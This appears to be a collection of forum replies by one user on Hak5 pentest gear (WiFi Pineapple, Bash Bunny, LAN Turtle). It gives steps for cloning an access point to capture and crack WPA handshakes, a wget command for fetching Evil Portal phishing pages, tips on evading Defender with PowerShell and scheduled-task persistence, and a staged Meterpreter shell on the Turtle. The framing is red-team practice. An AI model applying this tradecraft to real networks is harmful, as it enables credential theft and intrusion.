dark_pyrro

Not sure what you refer to when saying "WPA key". If you mean the handshake, it should not be possible to reuse/replay. You need to get hold of the actual psk. But if you can do that in some way, then it's possible to verify if anything obtained from social engineered users is the actual passphrase. Regarding the management AP, this should be possible to control more in detail with the upcoming 2.0.0 firmware. It's still in beta and the feature to control access to the management interface is experimental.

The Evil WPA AP is used to try to capture handshakes from STA/clients that are making connect attempts to that AP/ESSID. You won't get the psk/password for the true AP, but you might be able to obtain handshakes that can be used later on to try to crack it and get the plain text psk for that network. One way of "demoing" it - Set up an AP using (for example) WPA2-PSK CCMP - Connect a STA/client to that AP (only set up this specific AP on that device just to make the test/demo a bit easier) - Do a recon scan using the Pineapple (if you don't want to add the information needed to the Evil AP manually) - Click on the AP in the recon scan results - Click "Clone WPA/2 AP" (disable the Evil AP at this point) - Shutdown the "true" AP - Enable the Evil AP on the Pineapple (that now should be set up to emulate the "true" AP) - Try to connect to the Evil AP using the same device that previously was connected to the "true" AP - See if any handshakes are captured on the Pineapple - Download the capture files to some PC with Hashcat and/or aircrack-ng (running Kali Linux for example) - Since you know the psk for this test/demo setup, try to crack it using hashcat (or aircrack-ng) and a wordlist containing the psk in order to verify that the captured handshake is valid

The thing is a rather old payload. Here did you get it from (Hak5 GitHub repo)? In what way did you set it all up? What Impacket version are you using?

You can just use wget https://github.com/SgtFoose/Evil-Portals/archive/refs/heads/main.zip -O /root/portals/portals.zip Then unzip the downloaded file (unzip needs to be installed if on a fresh Pineapple) After that, move the portals to their correct position in the file system since the unpacking procedure won't put them where they should be. Do some cleanup if desired

I read the "Usage" section on the GitHub repo; an alternative way is to download the portals directly from the Pineapple instead of using some intermediate computer to download and then scp/sftp the files to the Pineapple. It's easier just to use wget and unzip. It's possible to script as well if desired.

It has worked for me on 1.1.1 for as long as I've been on that firmware, now also when running the 2.0.0 beta. Can't see why it should be necessary to downgrade. Are you using the Lenovo Ethernet NIC on the Pineapple Type A USB port? What chipset is it using?

The Kleo portals works with the Mark VII as well

Well, sekrit hasn't been online for over 3 years, so I hope he/she "wakes up" to see what you have written. I don't agree to the fact that 881x is part of the "main ones" because they suck horses ass due to bad drivers for Linux based systems.

Well, beta releases tends to be buggy. It's part of the "package". At least when the first beta was released there was a package missing that made the EP module behave bad (or not at all); libblobmsg-json Problems are still showing though since there are something related to encryption that I haven't seen before when using EP on older firmware. Haven't been digging any deeper into that though.

https://docs.hak5.org/bash-bunny/getting-started/mass-storage-structure Of which the most important in this particular case is "payloads", which needs to be positioned in the root of the Bunny udisk storage along with the sub-dirs for the switch positions "switch1" and "switch2". In your example above, it should be E:\payloads\switch1 and/or E:\payloads\switch2

Well, you haven't got the correct directory structure. The "payloads" directory isn't even there. The Bunny expects the intended structure to be available in order to execute properly. You can't make up your own directory structure and expect it to work.

Why are you using the bashbunny-payloads-master as a sub-dir?

Have you tried to copy the actual file from the library location to the switch directory instead of opening source file > copy payload text > opening target file > paste payload text?

lol, this is the most frequently asked question here and on Discord. What are you going to do with it? There's no such module available since it's obsolete (unless you are trying to red team Fred Flintstone).

What do you mean when saying "complete MITM attack"?

Are you using a Micro SD card? Where are your payloads stored? One the Bunny internal storage or on the Micro SD card?

What language is your Windows box using? Have you set the correct language when encoding the payload?

I guess the users in this thread won't answer you since it's over 9 years old and users in it haven't been active for years either. What zombie are you using? What parts of the nmap documentation have you read? -Pn says "Host discovery disabled" because that is what that option does; disables host discovery. It doesn't "ping" but considers all hosts/IP addresses as "up"/alive.

Is there any ep file in /www ?

This is a really old thread so I guess response will be rather limited. To your question, I would probably say: "nothing". You most likely have to tweak the Evil Portal module code. The target gets connected and gets network access, that message just shows up. If you continue to browse, your target will browse the web as intended. I can't remember off the top of my head where it is located, but just search for that string and you will find where it is located in the module code structure. Then change/tweak/correct it as you desire to get another response.

What product? And don't just post randomly in the forums. Keep it in the sections related to what you want answers to.

I would probably seek another way of doing this. The payload isn't limited to have a possible SPoF (Single Point of Failure), but several. First, using Netcat at all is a trick in the bag that is most likely going to be picked up by Defender. Then, using vbs files is a second way of getting noticed and/or blocked. Letting Netcat touch any storage device is a possible third. If I would do that operation I would most likely skip using vbs and Netcat. Running the target side entirely in PowerShell could be an alternative and live off the land instead. Persistence could be achieved by using scheduled tasks. Will require that the logged on user is a member of the local Administrators group, but it won't trigger any uac prompt that needs to be dealt with. In the end, it all depends on the target and how hardened it is. Some use payloads that disable Defender (or any A-V), but that is not realistic in my opinion since it will create "noise" in any environment worth mentioning. It's possible of course for some targets in less managed and "not looked after" environments, but for a black box engagement, I would most likely not include it in my plan.

I've come to the conclusion that it's easier (and more related to success) to run a staged payload/binary on the Turtle to get a Meterpreter shell. Note though that this probably requires the later variant of the Turtle with an SD card slot. The older version of the Turtle doesn't have enough storage space to host the payload (at least a linux/mipsbe based binary).

I guess that "error" is pretty clear about if things are going to be shipped to the address you have specified. If the Hak5 shop returns such a message, it will not ship to that destination. Pretty obvious.

no, and I don't want to get any older than I am